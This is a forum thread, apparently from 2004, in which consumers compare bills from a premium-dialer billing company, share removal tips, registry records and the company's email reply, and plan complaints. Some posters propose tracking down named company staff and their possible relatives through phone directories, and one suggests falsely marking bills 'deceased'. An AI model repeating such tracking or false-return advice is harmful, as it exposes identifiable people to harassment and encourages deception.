> I also was a victim with National One. They emailed me and I opened it up. Shouldn't have but I did. A month later a get an outrageous bill for entering a site that I didn't access or agree upon making any payments. I opened up the email and looked around. I didn't hit anything stating that I would be billed by phone or any other way. I closed it out and what do you know I get bill. For what?????????? Don't know but they charged me. Then I emailed them. George emails me back and explains to me that I need to pay that if I didn't enter the site someone else did like a child. I told him that they emailed me and that I didn't access anything that made me liable for payment of any kind. Then he writes back and says the matter has been resolved and closed. Then a few months later I get a bill for an outrageous amount. I emailed him back and explained the situation AGAIN, but no response. It's kind of weird that if a company like this only has one person George for the entire company to answer everyone. Well anyways I've been emailing him for god knows how long, still no response. I didn't enter the site and obligated myself in anyways to pay for something that I didn't agree to. What a bunch of crooks.


----------



## ~Candy~

http://chroniclesofgeorge.nanc.com/

Maybe related


----------



## hrznfrd

you know what George has a very bad track record I've been trying to get in touch with him quite awhile now. I was wrongfully charged because you guys emailed me with your site I opened up the email and did not enter anything that made me responsible or told me that it was a charge nor did I accept any agreement upon payment for anything but yet I get wrongfully billed. After explaining this to George he said the matter was resolved and closed. But a month later a get a bill. I try to get in touch with him again and he contacted me once back and said that I needed to pay. How when he said that the matter was resolved and closed. So I've been trying for a moth now and seven times today. No response so I had no choice to report this matter to the FTC, the better buisness bearuae, and the state attorneys office. I didn't not enter any site of yours that made me responsible for any type of payments or agree upon any type of payments arrangement. I asked George for the number of your so called company but guess what no response. My phone company couldn't find you also. My ISP provider couldn't find you either then I saw a number here nothing. I am not paying for something that I didn't do or enter or agree upon.


----------



## pactogie

Instead of George, has anybody tried contacting Michael [[email protected]]
1-603-472-3369. This is the e-mail and phone he gave to the BBB of New Hampshire to contact him. Supposedly he's the one that credited my phoney bill.


----------



## scrapser

AcaCandy said:


> It installed on my system and I do not have an active dial up modem. It's there, but there are no dialup settings. If Candy gets a phone bill from her little test, there will be hell to pay


I did a scan with the latest version of Spy Sweeper and it didn't find anything as far as I could tell. Everything it did find (14 items) is now quarantined. I still haven't deleted all the registry entries that have "nationalone" (the search term I used) in them. Any suggestions?

Thanks!

scrapser


----------



## scrapser

Deke said:


> I found this in Candy's post:
> 
> 9. I have DSL or Cable, so how can I be charged for a dialup Internet connection?
> Our clients billing software dials into a Premium Internet Service Provider through a special international telephone number. As long as there is modem is inside your computer, the call can be successfully made regardless if you have high speed Internet or not.
> 
> I wouldn't think this is possible with a good firewall and cable as my internal appears to be deactivated as best I can tell.


I was billed on a telephone number I had disconnected over 9 months before the alleged call was made. I wonder how that can happen? I dropped my LAN line when I went strictly to a cell phone and have a cable modem for the Internet. There's no phone line attached to the PC at all.

scrapser


----------



## ~Candy~

scrapser said:


> I did a scan with the latest version of Spy Sweeper and it didn't find anything as far as I could tell. Everything it did find (14 items) is now quarantined. I still haven't deleted all the registry entries that have "nationalone" (the search term I used) in them. Any suggestions?
> 
> Thanks!
> 
> scrapser


Back up registry (just in case of accident) and delete anything with nationalone.


----------



## Spectrex

Deke said:


> I found this in Candy's post:
> 
> 9. I have DSL or Cable, so how can I be charged for a dialup Internet connection?
> Our clients billing software dials into a Premium Internet Service Provider through a special international telephone number. As long as there is modem is inside your computer, the call can be successfully made regardless if you have high speed Internet or not.
> 
> I wouldn't think this is possible with a good firewall and cable as my internal appears to be deactivated as best I can tell.


If you go to thier site and download the plugin, then it adds a registry entry used to access the dialer on the nationalone.com website. That's what it looks like to me.

You have to wonder... with only two names mentioned for this company, it's possible it's just a couple kids running this scam. ANYONE can get a DBA for a business name and start a website, "tech support" line, etc. The BBB should have an address. Below is the results of the Whois database search. We need to contact thier internet provider and let them know what's going on, and get thier site shut down. The way to stop the spread of a virus is to cut off it's link to the outside world. Let everyone connected to National One know what is going on. Then try to contact Candid Publishing (suspicious name, eh?) Since they may be part of National One, we can report them to the proper channels, as well.

Hey... check out candid's webpage. Interesting reading, especially when they use statements like "unique technological solutions" and "take advantage of the internet". Thier number is 1-866-4candid. Thier website is just as bare and basic as National One's site. Almost no real details about the company. You'd think a business like this would have a site that explains a lot more about the company. There's not even a physical address... just a PO box and another webform for contacting them. Makes it easier for them to ignore you, I guess. Does anyone live near Bedford, NH? I can't find an exact address, but I'll bet they can be found if you ask around the town. It looks pretty small with only 15,000 people. I only live a few hours away. I might have to pack up the bike and take a nice ride out there one day.

It's a start. We're getting closer, National One. 

I'll be emailing DirectNIC.com and send them a link to this forum. Maybe we can get thier Domain name revoked.

--------------------------------------------------

Whois Server Version 1.3

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

Domain Name: NATIONALONE.COM
Registrar: INTERCOSMOS MEDIA GROUP, INC. D/B/A DIRECTNIC.COM
Whois Server: whois.directnic.com
Referral URL: http://www.directnic.com
Name Server: NS01.CANDIDPUBLISHING.COM
Name Server: NS02.CANDIDPUBLISHING.COM
Status: ACTIVE
Updated Date: 16-oct-2003
Creation Date: 14-dec-1999
Expiration Date: 14-dec-2005

>>> Last update of whois database: Tue, 20 Jul 2004 20:36:26 EDT <<<


----------



## Spectrex

I checked out the New Hampshire BBB and found thier business "addresses".
Take down this info, MemphisMark.

Below is the file on National One Telecom. They are directly linked to Candid Publishing, and Money Management Int.. It appears that Candid has a good record, but National One does NOT. Guess they just created a "division" of Candid, allowing it to take the heat. They can still keep the same "mother" company that has a clean record and start new divisions when one shuts down.

I imagine that they may use the Texas billing address to avoid state taxes. I'm not an expert on this type of thing, but I do know that TX has no state tax. Not sure about NH.

They also state that they will not answer calls on the phone and will ignore voicemail. Sounds more and more like a couple of young "kids".... there ARE only 2 employees at National One (Michael Walczak and Steve Griffin) and 1 employee at Candid (Walczak). Either the CEO is considered an employee, or "George" is the other one. George may be a pseudonym for one of the others. Seems odd to have so few people to run such a "global" company. No wonder they don't answer thier messages. It might keep them up past thier bedtimes.  Also, they just started in December 2003. Bet they won't last until Dec 2004. Time for some more research.

_Note: _ I searched Whitepages.com and I found a couple Walczaks in the Bedford area, and a few Griffins in Bedford. If we want to track these guys down for an interview, I'm sure some calls to these people will yield results. I'll bet some of them are relatives.

*Check out this report:*

Better Business Bureau
serving New Hampshire 
410 South Main St
Concord, NH 03301-3483

BBB Reliability Report
*National One Telecom, Inc.*
PO Box 10428 
Bedford, NH 03110
------------------------------------
Candid Publishing, Inc.
24 Horizon Drive
Bedford, NH 03110

Candid Publishing, Inc.
Colby Ct, Unit #4-131
Bedford, NH 03110

Candid Publishing, Inc.
PO Box 10007
Bedford, NH 03110

Money Management International (see more below)
15 Constitution Drive
Bedford, NH 03110

National One Telecom, Inc.
PO Box 10428
Bedford, NH 03110

General Information

Original Business Start Date: December 2003 
Principal: Mr. Steve Griffin, CEO 
Customer Contact: Mr. Michael Walczak, Customer Service Manager 
Number of Employees: 2 
Phone Number: (866) 293-3814 
Fax Number: (603) 471-0572 
Type-of-Business Classification: Telephone Communications 
Website Address: www.nationalone.com

Nature of Business

According to information received from the company, National One Telecom, Inc. is a third party billing service for providers of pay-per-view web sites.

The company states that when a customer uses one of their client's billing software and agrees to the terms and conditions, the customer is charged for both the long distance fees and entertainment fees. Long distance fees are billed on the customer's local phone bill while the entertainment fees are billed direct via an invoice by National One Telcom, Inc. The company has informed the BBB that they do not handle disputes over the phone and will ignore disputes left on their voice mail. The company plans to set up a customer service line in the near future, but will still not handle disputes over the phone.

Customer Experience

Based on BBB files, this company has an *unsatisfactory* record with the Bureau due to a pattern of complaints. Although the company resolves the complaints, it has failed to correct the underlying reason for the complaints.

Additional Information

Additional Addresses:
P. O. Box 612929 , Dallas, TX 75261

Additional File Information

Callers to the Better Business Bureau allege that the consumer is billed for long distance calls, usually to the United Kingdom, during times when the consumer is not at home. Complainants have all stated that they did not make the calls, nor did they access any entertainment sites that required a fee. Fees for the calls range in price from $28.00 - $296.00 at a rate of $5.99 per minute, with $4.00 per minute billed by National One Telecom and $1.99 per minute billed to the consumer's local phone bill for international long distance.

-------------------------------------
_And here's some info on thier "money management" company (collection agency?) Time to contact them, as well._

Money Management International
15 Constitution Drive 
Bedford, NH 03110

General Information

Original Business Start Date: October 1996 
Principal: Terry M. Blaney, President & CEO 
Customer Contact: Suzanne Hanse, Director of Training & Quality 
Number of Employees: 201 
Phone Number: (603) 471-0809 
Type-of-Business Classification: Credit & Debt Counseling 
---------------------------------------------------


----------



## ~Candy~

http://www.whitepages.com/10580/sea...name=steve&name=griffin&city_zip=&state_id=NH


----------



## Spectrex

AcaCandy said:


> http://www.whitepages.com/10580/sea...name=steve&name=griffin&city_zip=&state_id=NH


Hi Candy,

Yes, Concord isn't too far from Bedford... only 22 miles. Quite possible there's a link. I wouldn't want to live too close to the scene of the crime, either.


----------



## MrMike52

What I did here was run Spybot and Ad-aware and they didn't detect anything. Then I ran TZ spyware and adware remover. http://www.trackzapper.com/ and there it was in black and white. "Dialer" So then I removed it. I've donated to help keep this great site going and hope I everyone else does also.


----------



## ~Candy~

Thank you MrMike52!


----------



## Spectrex

Has anyone gotten any PMs from Mr. Nationalone lately?


----------



## ~Candy~

PMS was last week


----------



## talk2me

AcaCandy said:


> You know what, I think I'm going to download that little add in program just for fun and see what happens  I'm on cable, no modem attached to dial out


I think I am only at post 158, but I thought the same thing until I read this on their FAQ

*I have DSL or Cable, so how can I be charged for a dialup Internet connection?

Our clients billing software dials into a Premium Internet Service Provider through a special international telephone number. As long as there is modem is inside your computer, the call can be successfully made regardless if you have high speed Internet or not.*

hmmmm
what do you think?

Off to read the rest of the best thread I have read in a long time!


----------



## ~Candy~

I think I'd best not get a phone bill


----------



## talk2me

crippey!
I am on cable, in Canada
I never check my phone bills! I am going online to pull up my history now. (and check them all with a magnifying glas in the future)

I run Spybot, SpyWareBlaster and AdAware and they found nothing
but I just checked my registry for 'nationalone' and lo and behold there are several entries. I am just going to delete the buggers.

I am going to run that TrackZapper as suggested in a thread in here (sorry can't remember who suggested it, but thanks)

So the regular spy things don't get it. What else can we do? (hope I am not being stupid here but I can't recall reading a fail-safe in this topic thread)
Aside from those great apps, is there something else?

Lili


NATIONAL ONE you are HORRIBLE and I am going to post links to your bad reports on all of my websites, and send an email to all of my friends and associates in my address book to be aware of your HORRIBLE little SCAM. 

NATIONAL ONE CRETIN - if you want my full name address, all of my details, so that you can sue me - PM me and I will gladly send that info along to you. I notice that when you started an account here, you gave NO details about yourself. Are you Michael? Are you Steve? Are you George? 
No?
Are you full of it
Yes!
We can see that you come in here to PEEK at how awful you are
Last Activity: Yesterday 09:02 PM
Have you noticed 8,706 visitors so far to this thread? 
Be a MAN - step up to the plate!


----------



## js73

Hurray! No nationalone in my registry! Seriously, the major swiss telephone operators have banned all dialer connections with premium rates as of April 2004. If you do want to dial a premium connection (0901 dialer), you now have to go through special procedures (through a "free" 0800 number which would then connect you to an international number), and it is unlikely that you would do so inadvertently.


----------



## talk2me

I saw you peeking again nationalone - lol
Last Activity: Today 12:07 PM 

Up to changing your business practices yet?


----------



## Stephen47

How smart can this nationalone guy be? If he wants to check on this thread he doesn't have to log in. then no one would know he was watching
and btw Candy, perhaps that is TMI about PMS. ha ha


----------



## talk2me

he's in here now, so let's ask him

"no" - whatcha doin'?

You should introduce yourself and chat with us. We are a forgiving group, especially if you hang around and learn and share. No naughty stuff though! (like that company)


----------



## ~Candy~

You have to log in to view pms


----------



## angelize56

AcaCandy said:


> You have to log in to view *pms*


It's bad enough living with it!


----------



## Stephen47

I get it now about seeing pms. why nationalone has to log in.
As a side note I installed Trackzapper, mentioned in a previous post, but I thought I would run Spybot and Adaware first to see if this Trackzapper would find things they didn't. The only thing Adaware found was 19 items, all relating to Trackzapper, and labeled as malware, what is up with this?


----------



## Spectrex

AcaCandy said:


> PMS was last week


----------



## ~Candy~

Stephen47 said:


> I get it now about seeing pms. why nationalone has to log in.
> As a side note I installed Trackzapper, mentioned in a previous post, but I thought I would run Spybot and Adaware first to see if this Trackzapper would find things they didn't. The only thing Adaware found was 19 items, all relating to Trackzapper, and labeled as malware, what is up with this?


Don't have an answer on that, perhaps a post in the security forums would be better?


----------



## angelize56

*Lurking Taliban* 

I see NationalOne reading this thread! Up kind of early....or maybe up kind of late!  *Waves*


----------



## Spectrex

What happened? Did the nationalone guy scare everyone away? Any more news from MemphisMark?


----------



## QLeaping

Gang,

Has anyone received any new threatenting bills lately? Is National One guy watching today? I really would like to know if anyone has actually had their credit trashed by this garbage of a company? It is one thing to turn you over to collections and quite another for a rinky-dink collection agency to turn you over to the credit bureaus. We haven't seen any new victims lately.
That's good news!  Maybe they have packed up and jumped ship. :up: 
Everyone keep up the fight!!!!

QLeaping


----------



## ~Candy~

Most companies have (or pretend to have) an in house collection agency.

By the way, you can always check National One's last activity on the forum by viewing his/her profile 

NationalOne
Junior Member 
Last Activity: 24-Jul-2004 05:12 PM


----------



## QLeaping

Candy,

My friend that works for a collection agency looked up their agency in Vermont. They are listed as a collection agency in the phone listing, but that's it. They are not a member of the ACA which means that they are either rinky dink or not reputable. Anyone can get a listing as a DBA in the phone book - so it doesn't mean anything. What I do know is that there is a significant fee to turn you over to the reporting credit agencies.

So that's why I was wondering.

QLeaping


----------



## ~Candy~

I used to own and operate a collection agency, so I am aware of that 

And yes, I tried to take at least 60% of what I collected. If that didn't fly, I'd sign a contract for 50%. Never less than 50 though  Never give suckers an even break  And trust me, collection is ONE TOUGH business


----------



## QLeaping

Thanks Candy  

So do you think the pond scum suckers have paid the fees to actually trash people's credit over charges to "questionable" sites that they know have been scammed?  

QLeaping


----------



## ~Candy~

No. I think it's just a scare tactic that will never see a REAL credit bureau, a real credit bureau meaning Equifax, Experian, TransUnion..........not some little mom and pop place trying to stay alive or even their in house people that have the right to use different names when they call folks. Those names have to be registered though otherwise they can be fined


----------



## QLeaping

I totally agree. I also think that my dispute letter must have been picked up after all because the USPS never returned it like they said they were. I think that the whole thing for me anyway (and I hope) is done..... Until the FBI contacts me to testify HA HA!!!!  I am fast approaching the 40 days that you are supposed to hear back from them. Not a peep!!!! Because I sent it delivery confirmation I know exactly what day it was left in their PO Box. 

QLeaping


----------



## Spectrex

QLeaping said:


> Anyone can get a listing as a DBA in the phone book - so it doesn't mean anything. What I do know is that there is a significant fee to turn you over to the reporting credit agencies.
> 
> So that's why I was wondering.
> 
> QLeaping


Yeah... you are right. Anyone can get a DBA and call themselves the CEO of a company. Big name... little else.


----------



## Spectrex

AcaCandy said:


> I used to own and operate a collection agency, so I am aware of that
> 
> Ahhh... so that explains why you are in Acapulco, Candy.


----------



## ~Candy~

Lol, still in hiding


----------



## scrapser

I reported these imbeciles to the Federal Trade Commission, called the credit agencies, and sent a letter to my State Attorney's office. The FTC gave me a tracking number and suggested I protest the charge in a Certified Return Receipt letter. I sent that out to the NH PO Box about a week ago and received the receipt over the weekend, so I know they got the letter. The signature was one of the guys with the Polish (i think) last name. I'm beginning to think this whole thing is more an inconvenience than anything but I feel bad for people who get taken because they don't look past the surface. Never accept anything as being the final step, there is always something more you can do.

scrapser


----------



## dkhanson

Just an observation - Has anyone noticed that "National One" can also be realigned to spell "Nation Alone"? Not really sure where I am going with this, but...

Dave


----------



## marymason

I was reviewing other posts pertaining to complaints for the firm National One Telecom for which I now have a large complaint. My June 2004 Verizon bill stated I was being billed by the carrier USBI for the phone number 04420733584 Untd Kingd XX which was made at 3:02 am for 4 minutes (other posts state the numbers they get billed for do not even exist)....the bill was for $7.96. After I saw this charge, National One Telecom sent me an additional bill for $16.00 to be paid in addition to the $7.96 bill. They stated my PC made the call!!!! Well no one in our house got up at 3am and told the PC to make this call since it is just me and a bunch of kids under the age of 5 and 3 dogs who would not let a burglar use our computer...a quick search on Google revealed others have been billed for this same phone number and they state that no one in their household ever made this call nor their computers!!!!! When I wrote National One a letter to an address in NH (which is supposedly just a drop box) telling them this call was never made and please respond, they responded alright, with another bill...now they stated I owed them $20.95....this all appears to be a scam according to the number of complaints I have seen for this firm. The personnel at their help number are of no help...and their web site wants you to download a bunch of stuff to register a dispute which I refuse to download anything from a company with the reputation that they have....If anyone from National One Telecom sees this complaint our invoice # is 238096. It seems from other posts this firm gets your address and name by doing a reverse phone search....which shows it pays to have an unlisted number. thanks, a scammed person in Rhode Island


----------



## marymason

Yep, I got scammed by this firm too. They keep sending me bills for a 3am phone call to the number 4420733584 UNTD Kingd XX, which was never made from our computer.....they got my address by doing a reverse phone search...they will not respond to my written dispute letters. If they are paying attention my invoice number is 238096. The people at their firm are useless when I asked for assistance. So how do I stop them from sending me bills.


----------



## ~Candy~

Anyone try 'return to sender, moved, left no forwarding' ? 

By the way Marymason, I moved your other post under reviews here too. Welcome to TSG.


----------



## QLeaping

Candy,

You are on to something - If I get another bill from them or their collection agency I am going to do that!!!!! That's a great idea!!!! :up:  

Thanks for always looking out for us!!!

QLeaping


----------



## ~Candy~

Deceased works too


----------



## QLeaping

Hey MaryMason,

Be sure you read what a lot of us have done. You certainly want to report these idiots to all the agencies we have discussed in earlier posts. 

You also want to contact your local phone carrier. Mine is Qwest and have them back bill USBI for an "unauthorized third party billing issue". USBI will have to re-bill you themselves if they want to collect. This way it will not affect your local phone credit. Also, if you think you need to file another dispute, be sure to send it "delivery confirmation" or "certified" so the jokers have to sign for it and you can verify that they got it. If you notice on the back of the National One bill, you are supposed to hear from them within 40 days of them receiving your dispute. That is why if you know when they received it, they can't say they never got it, etc. I also copied the dispute letter and the bill and mailed it to the Dallas address where the bills are to be paid. My letter was very threatening so that is probably why I haven't heard from them or received a second late bill or anything. 

Whatever you do - don't pay. Between MemphisMark and his ABC connections and my government connections and other folks on this forum doing their own investigative research, we are very close to exposing these rats for what they are. When the agencies I reported them to research my complaint and sees how the website that was referenced was supposedly "free" never comes up with a disclaimer that you will be charged and then you are charged - this could turn into a huge deal when they realize that a lot of different scams are involved together - from the "free" websites to the UK phone numbers to USBI/Tellis etc. 

We really don't think that they are actually reporting people to the real credit bureaus. Keep filing your dispute - send them ten if you have to. Also be sure you tell them that you are reporting them to attorney general in your state and the BBB and the FBI, etc. Once you have reported them, it only helps your case. I'm hoping that someone is looking into a class action suit against these jokers!!!!  

Hope this helps.

QLeaping


----------



## pactogie

When I first got scammed by the gnats at national one back in April, a web search only turn up their crummy website and few complaints at the badbusinessbureau.com. Techguy comes up first now and is by far the most action oriented in dealing with these gnats. I also noticed the gnats are getting some bad PR on some newspaper sites such as Buffalonews.com, Bangornews.com & the Observer-Report. Jessica Smith of the observer Report wrote a column titled "Parasites want to live in your computer " specifically named National One in relation to modem hijacking. We should contact these media to do follow up stories by referring them to this site and others regarding National One. Get this spreading like fire and before long there will be a class action suit on the horizon to put these gnats away.


----------



## chas777

Hey Everybody! Looks like a angry brotherhood in here. I as well have received a bill from this so called company recently. My bill was for $84.00 for a supposed "call" to +44 870 119 01 to The UK like many of you here. Here's my problem...
I do all my correspondnace through a PO BOX. This bill was made out to my home address and was actually left in a neighbor's mailbox, who was kind enough to give it to me. First thing they have wrong. ALL MY BILLS AND ANYTHING ELSE GO TO PO BOX. Second problem, I manage a pizza delivery company. The day and time of my bill is 07/09/2004 08:28 PM. This was a Friday night. If you don't know anything about pizza delivery, Friday nights are our busiest night. I HAVE NOT BEEN HOME ON A FRIDAY NIGHT IN OVER 6 MONTHS. There's nobody else that lives with me either. I unfortunately do not have time for a relationship with a significant other due to my schedule. 

For the National One Telecom guy running around in here. My invoice # is 249116. I have contacted the BBB in NEW HAMPSHIRE. THE BBB IN DALLAS, TX. The AG IN NEW HAMPSHIRE and The AG IN MY HOME STATE. As a matter of fact the AG'S Office in my home state was the office responsible for the Tobacco suits that started a few years ago. They are very proactive against these kinds of things especially. They are looking into this message board and the one for rip off report. The liason I spoke with said if this keeps on looking as bad as it is there could be a major problem.....


----------



## Akmorph

Wow.

First off my feelings and hat off to all of you for your investigative work. Mike great job keeping the site up and running. I read each one of theses posts while at work .. yep boss isnt happy but i killed a fun 3 hours . Candy Id love to hear if you get a bill from these pricks and if anyone happens to know if the story did air on ABC i heard rumor of it from a friend of mine at work when i mentioned the name of the company that i was reading about. Did we find out if NOguy was Mike from NO?

My advice to you all if you get a bill like this:

1. Call your Phone Provider
2. Unplug your Modem when your not using it - cant get a phone line if its not connected. 
3. Call your State Attorney Generals Office
4. Call the Better Business Bureau http://www.bbb.com
5. If you get information about this company and how you resolved your issues please post it below. Keeping others informed helps us all prevent this crap from happening to all.

thanks guys and good investigative again!


----------



## pactogie

Hey guys, I like to share this e-mail with you . This is what I got from the gnats in their response to the BBB after I filed a complaint. They let me off the hook as a courtesy[barf!]. Look how he tried to imply that they are a big company. Alyon was in deep doodle for modem hijacking. This [email protected] must be Michael Walczak as stated on SPECTREXs July 21 post. Analysis any one?

-----Original Message-----
From: Michael [mailto:[email protected]]
Sent: 
To: BBB
Cc: xxxxxxxxxxxxxxxxxxxxxxx
Subject:

ATTN: xxxxxxxxxxxxxxxxx 
ID # xxxxxxxxxxxxxxxxxx
Dear xxxxxxxxxxxxxxxxxx

We received your notice that Mr. xxxxxxxxxxx has filed a complaint concerning telephone calls billed by National One Telecom, Inc. National One Telecom, Inc. is a third party billing service for providers of pay-per-view web sites. Our clients distribute software to Internet and e-commerce companies, software that facilitates payment for the provision of a service or product via a per-time-interval charge to the consumers of the services and/or products. The use of these services and/or products is not related to a consumers Internet Service Provider. When a customer uses one of our client's billing software and agrees to the terms and conditions, they are charged for both the long distance fees and entertainment fees. Long distance fees are billed on the customer's local phone bill while the entertainment fees are billed direct via an invoice by National One Telecom, Inc.

As a billing company, National One Telecom, Inc. is in the strictest compliance of the FTCs Billing and Collection Rules for Pay-Per-Call Services. National One Telecom, Inc. places the Pay-Per-Call Billing Rights on the back of every bill it renders. We also provide a toll-free 800 number on the LEC bill via Telliss, and our WEB Address for questions and answers on our directly billed invoices in case a customer feels they have been billed in error or has other questions regarding the invoice or charges.

Our investigation indicates that the call has successfully appeared on Mr.xxxxxxxxxxx local phone bill, therefore the call is valid and no billing errors have occurred. As a courtesy, we have issued a full credit and have also placed a block on phone number (xxx)-xxx-xxxx.

Mr. xxxxxxxxxxxxxx has stated that we have several complaints on the badbusinessbureau.com. While this is true, many companies that handle large volumes of business such as Alyon or MCI also have complaints on there.

Please take a look at the following statements made by the owner of the badbusinessbureau.com in regards to Alyon Technologies. Alyon had over 1300 complaints on badbusinessbureau.com but in the end the owner of the site admitted that Alyon was right all along and that many consumers made bogus complaints due to the nature of the sites billed.

http://www.ripoffreport.com/reports/ripoff91863.html

While there are key differences between us and Alyon, mainly the fact that we have several LEC billing agreements, the similarities between our businesses are large enough for a valid comparison. It is important to keep in mind that we handle a large volume of calls and that the complaints you see are the minority of our customers. Like Alyon we will be making several changes to streamline the dispute process and and reduce the number of complaints going to the badbusinessbureau.com and this others like it.

It is our position that our access providers and software providers comply with all federal and state laws and regulations concerning Pay-Per-Call services. We desire to fully cooperate with your office to ensure consumer satisfaction. If you require a live demonstration of our billing solution or need further explanation, please contact me directly by phone.

Sincerely,

Michael
National One Telecom, Inc. 
1-603-472-3369


----------



## Spectrex

>As a billing company, National One Telecom, Inc. is in the strictest >compliance of the FTCs Billing and Collection Rules for Pay-Per-Call >Services. National One Telecom, Inc. places the Pay-Per-Call Billing Rights >on the back of every bill it renders.

Yeah... right! They may comply with the laws for _their_ operation, but they don't ensure that their clients comply with them.

>We also provide a toll-free 800 number on the LEC bill via Telliss,

That they never answer....

>and our >WEB Address for questions and answers on our directly billed >invoices in

Very little information there. Extremely small, simple site for such a "large" company. And they make you download something (very odd) before you can use the site. That alone should be illegal.

>Our investigation indicates that the call has successfully appeared on >Mr.xxxxxxxxxxx local phone bill, therefore the call is valid and no billing errors >have occurred. As a courtesy, we have issued a full credit and have also >placed a block on phone number (xxx)-xxx-xxxx.

Dodging the bullet again.

>Mr. xxxxxxxxxxxxxx has stated that we have several complaints on the >badbusinessbureau.com. While this is true, many companies that handle >large volumes of business such as Alyon or MCI also have complaints on >there.

Those are big companies... of course they will have more complaints. We're talking about TWO PEOPLE in this company, so I doubt they can have that large a customer base. The ratio of complaints to customers can't even be close! This guy should be a politician... he's just as full of ^%$* as they are.

>Please take a look at the following statements made by the owner of the >badbusinessbureau.com in regards to Alyon Technologies. Alyon had over >1300 complaints on badbusinessbureau.com but in the end the owner of the >site admitted that Alyon was right all along and that many consumers made >bogus complaints due to the nature of the sites billed.

Notice he keeps mentioning the "badbusinessbureau.com", not the more legitimate BETTER Business Bureau. Who cares what a freakin website says. Who knows if their information is correct. If you want accurate information, go to someplace that was around BEFORE the web.
Also, We're not talking about Alyon or MCI here... we're talking about Nation Alone. Stay on the freakin subject, Michael!

>the similarities between our businesses are large enough for a valid >comparison. It is important to keep in mind that we handle a large volume of >calls

Yeah.. must be hard for you two to answer all the complaints you must be getting. Funny... I have not yet heard of ANYONE getting in trouble for not paying. A legitimate company would have the resources to collect and wouldn't have any trouble collecting payment. Really strange if you ask me.

> If you require a live demonstration of our billing solution or need further >explanation, please contact me directly by phone.

I think several people have already tried that, unsucessfully. You might want to try actually *answering* your phone once in a while.

Looks like more bull from National One. With well over 10,000 people viewing this thread, and almost 300 replies, I think their days are numbered. Lots of responses on several other boards, too. Notice he hasn't posted here lately (actually only 5 times on this site). Guess he feels outnumbered. He IS!


----------



## QLeaping

This guy from National One is so full of crap!!!!!!! Are you reading this Mr. Michael or whatever your name is? I went to the "supposed" website that I was originally billed for. I intentionally went into it a "second" time to see if the disclaimer for charges comes up and it does not. Do you understand!!!!!!!!!!!!!!??????????????????????? There is no window that pops up on a "free" site that says you are going to charge me a "pay-per-view" fee and then a phone charge to the UK on top of that. After I went to the website, I documented everything. This is what I told the FBI also by the way! Get this through your lying head Mr. National One. There was no box that said do you agree to charges!!!!! I DID NOT AGREE TO CHARGES!!!!!!!!    

Then a few weeks later my phone bill comes with charges to the UK for the "second" visit (my experiment) to the website. This proved the fact that I was billed for charges I DID NOT AGREE TO. So please quit telling people that your billing practices are up front - I am sick of your crap!!!!!!!!! Also, my bill had no toll free number to call you. I got your number from the BBB in New Hampshire. It was not toll free and when you call it, no one answers. It just beeps. So any reputable company would have a phone number with at least a message saying where you called. And your on-line website requires you to download a plug-in. I've never had to do that with any other company's service departments. There was a toll free number for Tellis and USBI, but that's where it ends. 

So please stop pretending to be something you are not!!! I cannot wait until the Feds come knocking on your door. 

People, please keep fighting these guys!!!! Their verbiage and jargon sounds so impressive and their bills look so official - but it's all smoke!!!!!!!!!!!!!!

Can you tell that their answer to the above posts has me totally irate?!  

Thanks guys for all your hard work in exposing these jokers!!! Keep it up. :up: 

QLeaping


----------



## Spectrex

Yeah... they'll be gone soon. Probably packing for Mexico right now.


----------



## ~Candy~

Oh, no, we don't need any more thugs here 

I'm about 3 weeks out for my bill. I called my carrier to see if they could check for any irregular phone calls prior to my departure on 7/24. Of course they couldn't tell me  These days of computer tracking, tracing, etc. and the dang phone company can't tell you what happened 3 days ago, go figure 

If any calls come in after that date, it's definitely voodoo as I unplugged my computer and pulled the ram chip out. Ain't no way that baby is starting up and dialing out  

Has anyone called that telephone number posted above and ask to speak with Mr. Michael? I may have to test out my Net2phone credit balance


----------



## Spectrex

Haven't heard a thing from Memphismark. I hope the thugs didn't have him whacked.


----------



## QLeaping

Yeah - I would love to hear from MemphisMark and see what the latest is. Also, wasn't there someone on here who was going to take a motorcycle ride to the address in New Hampshire and pay them a visit?  
I'd love to know if that happened. 

Candy doesn't want these thugs in her neck of the woods - maybe they'll head to Canada - take off ey?  

QLeaping


----------



## ~Candy~

I think I have heard of some lucrative telephone job openings in Iraq


----------



## brn

How MEAN! I mean what are they some dorks or SOMETHING? I'm glad I'M not subscribed! I bet they sit in their offices and play games or something!     :down: :down:


----------



## dorkstar

Hello Guys, Just to add more fuel to this dispute, I, like everybody here, have received this "SECOND NOTICE" about this charge of 30 dollars, I called, had to wait for someone to call me back, so I did, I got that call and she said that it was my computer that dialed this number because it accessed their "pay-per-view" services, what a load of crap, saying that I accessed a porno pop up? I never did, what do you guys think of this.


----------



## enraged2

Well it is great to see that I am not the only one with these fraudulent things happenning to them. I just got my second bill with the threatened $4.95 added to it increasing the $64 to $68.95 and I am waiting for the second bill from my telephone company with the additional 3rd party billing of USBI for $34.82 making for a total of$103.77 for 16 minutes to +44 207 335 84 - UNTD KINGD; that I NEVER MADE NOR AUTHORIZED anyone else to. Last billing cycle, I returned their invoice unpaid along with aletter of dispute and notification that I would not pay these fraudulent charges as well as promising to make reports if they did not rectify this problem in a timely fasion. Well that was 20 days ago. Michael Walczak signed receipt of it. As of today,
I made the appropriate reports to the Credit bureaus and FTC; I am awaiting a return call from The State Attorney General's office and will be filing the necessary reports with the BBB. After they billed me the first time, I logged off my computer and all indications were that I was off the net and just on. I picked up the phone to call a
friend, CRAP!!! If my computer was,t trying to dial a long distant #. Lucky for me, the recording said "there is no such number". A few hours later this unit was in the shop
getting cleaned and debugged - 3 plugins, 379 spies, 1300 hidden viruses and over 
3000 hidden popups - Nothig was working by my hand anymore. But all is okay now. 
If this is not resolved within 10 days me and my lawyer are going to have a blast putting this megga (yeah) business (scam) in the toilet along with it,s hundreds of employees. (Hmmmmm. Don't it seem rare that Michael is usually the one handling the calls and signing for stuff?)
Bless you all for your help with these thieves.
Thank you.

enraged2


----------



## angelize56

Here you go!

*National One Telecom Calling Up Complaints*

Dallas, TX, August 4, 2004 - *Complaints are pouring in to the BBB from customers across the country who are confused about bills theyve received from National One Telecom, Inc., with addresses in Dallas and in Bedford, NH. Just since February, 2004, the Better Business Bureau of Metropolitan Dallas has handled 62 complaints on the company, and there are another 77 complaints pending*.

Consumers are complaining that they dont know anything about the service that National One Telecom is billing for. The bills, which range from about $20 to about $150, are for an entertainment fee for access to pay-per-view Web sites. The sites are not named on the bills. *Consumers insist that they have not accessed such sites, and werent given any notice about charges for visiting sites*.

